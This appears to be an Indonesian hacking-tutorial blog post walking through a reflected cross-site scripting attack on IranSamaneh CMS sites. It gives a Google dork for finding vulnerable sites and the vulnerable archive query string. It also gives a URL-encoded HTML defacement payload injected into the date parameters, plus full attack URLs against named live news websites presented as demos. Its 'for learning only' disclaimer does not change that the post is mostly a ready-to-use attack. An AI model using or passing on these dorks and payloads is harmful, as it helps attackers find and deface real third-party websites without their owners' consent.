IranSamaneh CMS Cross Site Scripting [ XSS ]
Halo teman-teman pengunjung setia All Tutor Cyber. Selamat datang juga buat penunjung baru. Kali ini saya sendiri (Admin) Akan memberikan IranSamaneh CMS Cross Site Scripting [ XSS ]
Baiklah untuk lebih jelasnya Teman-teman bisa membacanya di bawah ini
Bahan :Dork : - intext:"طراحی و تولید: " ایران سامانه " " intitle:آرشیو
Exploit : fa/archive?service_id=-1&sec_id=-1&cat_id=-1&rpp=20&from_date=1392/07/06&to_date=1396/01/16&p=2
XSS Script :
DisiniStep By Step :1. Dorking Dulu Ke Gugle :
intext:"طراحی و تولید: " ایران سامانه " " intitle:آرشیو
2. Pilih Salah Satu Web
Live Target : http://www.fardanews.com/
3. Masukkan Exploit
fa/archive?service_id=-1&sec_id=-1&cat_id=-1&rpp=20&from_date=1392/07/06&to_date=1396/01/16&p=2Jadinya Begini : http://www.fardanews.com/
fa/archive?service_id=-1&sec_id=-1&cat_id=-1&rpp=20&from_date=1392/07/06&to_date=1396/01/16&p=2
4. Tinggal masukkan Xss Script pada from_data= atau to_data=
Contoh : http://www.fardanews.com/fa/archive?service_id=-1&sec_id=-1&cat_id=-1&rpp=20&
from_date=1392/07/06&to_date=Touched%20By%20GU3LT03M%3C%2Ftitle%3E%3Cbody+bgcolor%3D%22black%22%3E%3Ccenter%3E%3Cmarquee%3E%3Cb%3E%3Cfont+color%3D%22lime%22%3E%3Ch1%3EFamily%20Attack%20Cyber%20Wash%20Here%3C%2Fh1%3E%3C%2Ffont%3E%3C%2Fb%3E%3C%2Fmarquee%3E%3Cbr%2F%3E%3Cbr%2F%3E%3Cb%3E%3Cfont+color%3D%22red%22%3ETouched%20By%20GU3LT03M%3C%2Ffont%3E%3C%2Fb%3E%3C%2Fcenter%3E%3Cnoscript%3E%3C!--%27))%2C%40)%3Cmarquee%3EK%3C%2Fmarquee%3E&p=2
5. Jika Vuln Akan Muncul XSS Script Kamu
Live Demo :
http://www.tabnak.ir/fa/archive?service_id=-1&sec_id=-1&cat_id=-1&rpp=20&from_date=Touched%20By%20GU3LT03M%3C%2Ftitle%3E%3Cbody+bgcolor%3D%22black%22%3E%3Ccenter%3E%3Cmarquee%3E%3Cb%3E%3Cfont+color%3D%22lime%22%3E%3Ch1%3EFamily%20Attack%20Cyber%3C%2Fh1%3E%3C%2Ffont%3E%3C%2Fb%3E%3C%2Fmarquee%3E%3Cbr%2F%3E%3Cbr%2F%3E%3Cb%3E%3Cfont+color%3D%22red%22%3ETouched%20By%20GU3LT03M%3C%2Ffont%3E%3C%2Fb%3E%3C%2Fcenter%3E%3Cnoscript%3E%3C!--%27))%2C%40)%3Cmarquee%3EK%3C%2Fmarquee%3E&p=2
http://www.fardanews.com/fa/archive?service_id=-1&sec_id=-1&cat_id=-1&rpp=20&from_date=1392/07/06&to_date=Touched%20By%20GU3LT03M%3C%2Ftitle%3E%3Cbody+bgcolor%3D%22black%22%3E%3Ccenter%3E%3Cmarquee%3E%3Cb%3E%3Cfont+color%3D%22lime%22%3E%3Ch1%3EFamily%20Attack%20Cyber%20Wash%20Here%3C%2Fh1%3E%3C%2Ffont%3E%3C%2Fb%3E%3C%2Fmarquee%3E%3Cbr%2F%3E%3Cbr%2F%3E%3Cb%3E%3Cfont+color%3D%22red%22%3ETouched%20By%20GU3LT03M%3C%2Ffont%3E%3C%2Fb%3E%3C%2Fcenter%3E%3Cnoscript%3E%3C!--%27))%2C%40)%3Cmarquee%3EK%3C%2Fmarquee%3E&p=2
Metode ini Masih Baru Jadi Use Your Brain Masukkin Exploitnya ^_^
&
Metode ini Juga Fake Mirror ^_^
Sekianlah Postingan Dari All Tutor Cyber tentang "IranSamaneh CMS Cross Site Scripting [ XSS ]" Semoga Bisa Bermanfaat!.Jika Ada Content Yang Berbau Pantest, Postingan Tersebut Hanya Untuk Pembelajaran. Admin Tidak Bertanggung Jawab Jika Terjadi Sesuatu Kepada Anda.
Sekian. Terimakasih
All Tutor Cyber